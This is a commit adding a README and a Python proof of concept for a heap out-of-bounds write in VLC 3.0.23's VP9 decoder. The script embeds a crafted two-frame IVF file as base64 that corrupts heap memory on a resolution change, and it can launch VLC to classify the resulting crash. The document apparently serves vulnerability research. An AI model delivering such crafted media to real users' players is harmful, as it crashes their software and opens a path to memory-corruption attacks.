Upload files to "vlc-vp9-reschange-crash-poc"
This commit is contained in:
@@ -0,0 +1,101 @@
|
|||||||
|
# VLC VP9 Resolution-Change Crash PoC
|
||||||
|
|
||||||
|
This repository contains a small Python reproducer for a VLC 3.0.23 Windows VP9 decoder crash condition.
|
||||||
|
|
||||||
|
Research status: incomplete and continuing.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
The PoC writes a 405-byte VP9 IVF file with two frames:
|
||||||
|
|
||||||
|
- frame 1: `64x64`
|
||||||
|
- frame 2: `64x8192`
|
||||||
|
|
||||||
|
The important detail is that the second frame changes the frame height while keeping the VP9 tile-column layout stable. In VLC 3.0.23's bundled FFmpeg VP9 decoder, that shape reaches a stale slice-thread progress allocation.
|
||||||
|
|
||||||
|
## Why It Happens
|
||||||
|
|
||||||
|
The VP9 decoder tracks slice-thread progress in an `entries` array. That array is allocated using the number of superblock rows for the current frame.
|
||||||
|
|
||||||
|
For a `64x64` frame:
|
||||||
|
|
||||||
|
```text
|
||||||
|
sb_rows = (64 + 63) >> 6 = 1
|
||||||
|
entries allocation = 1 * sizeof(atomic_int) = 4 bytes
|
||||||
|
```
|
||||||
|
|
||||||
|
For a later `64x8192` frame:
|
||||||
|
|
||||||
|
```text
|
||||||
|
sb_rows = (8192 + 63) >> 6 = 128
|
||||||
|
```
|
||||||
|
|
||||||
|
The stale allocation remains sized for the first frame when the tile-column count does not change. During decode, the VP9 slice-thread reset loop writes zero to each row entry for the new frame:
|
||||||
|
|
||||||
|
```c
|
||||||
|
for (i = 0; i < s->sb_rows; i++)
|
||||||
|
atomic_store(&s->entries[i], 0);
|
||||||
|
```
|
||||||
|
|
||||||
|
That turns the second frame into a sequence of 4-byte zero writes past the original 4-byte allocation. On Windows VLC 3.0.23, the process behavior depends on heap layout and runtime state; observed outcomes include heap-corruption termination and access violation.
|
||||||
|
|
||||||
|
## Files
|
||||||
|
|
||||||
|
- `poc.py`: stdlib-only Python reproducer
|
||||||
|
- generated output: `vp9_reschange_64x64_to_64x8192_tc0.ivf`
|
||||||
|
|
||||||
|
No external Python dependencies are required.
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
Generate the IVF sample:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python poc.py
|
||||||
|
```
|
||||||
|
|
||||||
|
Generate the sample at a custom path:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python poc.py -o sample.ivf
|
||||||
|
```
|
||||||
|
|
||||||
|
Optionally replay it with a local VLC binary:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python poc.py --vlc "C:\Path\To\VLC\vlc.exe"
|
||||||
|
```
|
||||||
|
|
||||||
|
The script prints JSON containing the generated sample path, SHA256 hash, size, and optional VLC process result.
|
||||||
|
|
||||||
|
Expected sample hash:
|
||||||
|
|
||||||
|
```text
|
||||||
|
F26BDEFBDFD0B44359E314E0BFDE7AEA979D29F80F598749DCCA68AB34F54649
|
||||||
|
```
|
||||||
|
|
||||||
|
## Tested Target
|
||||||
|
|
||||||
|
Tested against:
|
||||||
|
|
||||||
|
- VLC media player 3.0.23 for Windows x64
|
||||||
|
- decoder module: `plugins/codec/libavcodec_plugin.dll`
|
||||||
|
- VP9 decoder source lineage: FFmpeg 4.4.x VP9 decoder
|
||||||
|
|
||||||
|
The relevant decoder behavior is the stale `entries` allocation on a resolution change that does not change tile-column count.
|
||||||
|
|
||||||
|
## Research Notes
|
||||||
|
|
||||||
|
Local instrumentation observed the stale reset loop in `libavcodec_plugin.dll` at RVA `0x698a5c`, executing the fixed zero-write pattern against the stale `entries` allocation.
|
||||||
|
|
||||||
|
For the `64x64 -> 64x8192` sample, direct-store tracing observed:
|
||||||
|
|
||||||
|
- `129` total `entries` stores
|
||||||
|
- `127` stores past the requested 4-byte allocation
|
||||||
|
- `114` stores past the allocator raw usable block
|
||||||
|
|
||||||
|
This repository is a compact crash reproducer. Research on the full exploitability of this primitive is incomplete and continuing.
|
||||||
|
|
||||||
|
## Responsible Use
|
||||||
|
|
||||||
|
Run this only in a local test environment you control. The generated media file is intended for reproducing and studying the decoder fault path.
|
||||||
@@ -0,0 +1,126 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import argparse
|
||||||
|
import base64
|
||||||
|
import hashlib
|
||||||
|
import json
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
|
||||||
|
SAMPLE_B64 = (
|
||||||
|
"REtJRgAAIABWUDkwQABAAAEAAAABAAAAAgAAAAAAAABeAAAAAAAAAAAAAACCSYNCAAPwA/YGOCQcGEoAACBAAGtD///lXb23/SskhXr7zdPyoCRyEjNuPymkNJQgETBR424BCv//rXCHLKdpldqOXFZdaWk1nVibjsmAd3pGejzlO0+dlygBOCSA/wAAAAEAAAAAAAAAgkmDQgAD8f/2BjgkHBhKAADQR9j9Ye4xQAev+/8OAGxOd+f8niRqQFa1U/7kzgammYg1AcYQFrhfX6tE38imv1MXtaAO/yiEiKaaDpaMxLBBYGTZ80JtDb8+6GWkt+fdDLSW/PuhlpLfn3Qy0lvz7oZaS3590MtJb8+6GWkt+fdDLSW/PuhlpLfn3Qy0lvz7oZaS3590MtJb8+6GWkt+fdDLSW/PuhlpLfn3Qy0lvz7oZaS3590MtJb8+6GWkt+fdDLSW/PuhlpLfn3Qy0lvz7oZaS3590MtJb8+6GWkt+fdDLSW/PuhlpLfn3Qy0lvz7oZaS3590MtJb8+6GUoA"
|
||||||
|
)
|
||||||
|
|
||||||
|
EXPECTED_SHA256 = "F26BDEFBDFD0B44359E314E0BFDE7AEA979D29F80F598749DCCA68AB34F54649"
|
||||||
|
|
||||||
|
CRASH_CODES = {
|
||||||
|
0xC0000005: "access_violation",
|
||||||
|
0xC0000374: "heap_corruption",
|
||||||
|
0xC0000409: "stack_buffer_overrun",
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def code32(value):
|
||||||
|
if value is None:
|
||||||
|
return None
|
||||||
|
return value & 0xFFFFFFFF
|
||||||
|
|
||||||
|
|
||||||
|
def classify_returncode(value):
|
||||||
|
code = code32(value)
|
||||||
|
if code is None:
|
||||||
|
return "timeout"
|
||||||
|
if code == 0:
|
||||||
|
return "clean"
|
||||||
|
if code in CRASH_CODES:
|
||||||
|
return f"crash:{CRASH_CODES[code]}"
|
||||||
|
return "nonzero"
|
||||||
|
|
||||||
|
|
||||||
|
def write_sample(path):
|
||||||
|
data = base64.b64decode(SAMPLE_B64)
|
||||||
|
digest = hashlib.sha256(data).hexdigest().upper()
|
||||||
|
if digest != EXPECTED_SHA256:
|
||||||
|
raise RuntimeError(f"embedded sample hash mismatch: {digest}")
|
||||||
|
path.parent.mkdir(parents=True, exist_ok=True)
|
||||||
|
path.write_bytes(data)
|
||||||
|
return data
|
||||||
|
|
||||||
|
|
||||||
|
def run_vlc(vlc, sample, timeout):
|
||||||
|
cmd = [
|
||||||
|
str(vlc),
|
||||||
|
"-I",
|
||||||
|
"dummy",
|
||||||
|
"--dummy-quiet",
|
||||||
|
"--ignore-config",
|
||||||
|
"--no-media-library",
|
||||||
|
"--play-and-exit",
|
||||||
|
"--run-time",
|
||||||
|
"2",
|
||||||
|
"--no-one-instance",
|
||||||
|
"--no-qt-privacy-ask",
|
||||||
|
"--no-qt-error-dialogs",
|
||||||
|
"--no-crashdump",
|
||||||
|
"--no-audio",
|
||||||
|
"--vout",
|
||||||
|
"dummy",
|
||||||
|
str(sample),
|
||||||
|
"vlc://quit",
|
||||||
|
]
|
||||||
|
started = time.time()
|
||||||
|
try:
|
||||||
|
proc = subprocess.run(
|
||||||
|
cmd,
|
||||||
|
cwd=str(vlc.parent),
|
||||||
|
stdout=subprocess.PIPE,
|
||||||
|
stderr=subprocess.PIPE,
|
||||||
|
timeout=timeout,
|
||||||
|
)
|
||||||
|
returncode = proc.returncode
|
||||||
|
stdout = proc.stdout.decode("utf-8", "replace")
|
||||||
|
stderr = proc.stderr.decode("utf-8", "replace")
|
||||||
|
except subprocess.TimeoutExpired as exc:
|
||||||
|
returncode = None
|
||||||
|
stdout = (exc.stdout or b"").decode("utf-8", "replace")
|
||||||
|
stderr = (exc.stderr or b"").decode("utf-8", "replace")
|
||||||
|
return {
|
||||||
|
"status": classify_returncode(returncode),
|
||||||
|
"returncode": returncode,
|
||||||
|
"returncode_hex": f"0x{code32(returncode):08x}" if returncode is not None else None,
|
||||||
|
"elapsed": round(time.time() - started, 3),
|
||||||
|
"stdout_tail": stdout[-2000:],
|
||||||
|
"stderr_tail": stderr[-2000:],
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser()
|
||||||
|
parser.add_argument(
|
||||||
|
"-o",
|
||||||
|
"--output",
|
||||||
|
type=Path,
|
||||||
|
default=Path("vp9_reschange_64x64_to_64x8192_tc0.ivf"),
|
||||||
|
)
|
||||||
|
parser.add_argument("--vlc", type=Path, help="optional path to vlc.exe for local replay")
|
||||||
|
parser.add_argument("--timeout", type=float, default=8)
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
data = write_sample(args.output)
|
||||||
|
result = {
|
||||||
|
"sample": str(args.output.resolve()),
|
||||||
|
"sha256": hashlib.sha256(data).hexdigest().upper(),
|
||||||
|
"size": len(data),
|
||||||
|
}
|
||||||
|
if args.vlc:
|
||||||
|
result["vlc"] = run_vlc(args.vlc.resolve(), args.output.resolve(), args.timeout)
|
||||||
|
print(json.dumps(result, indent=2))
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
try:
|
||||||
|
main()
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
sys.exit(130)
|
||||||
Reference in New Issue
Block a user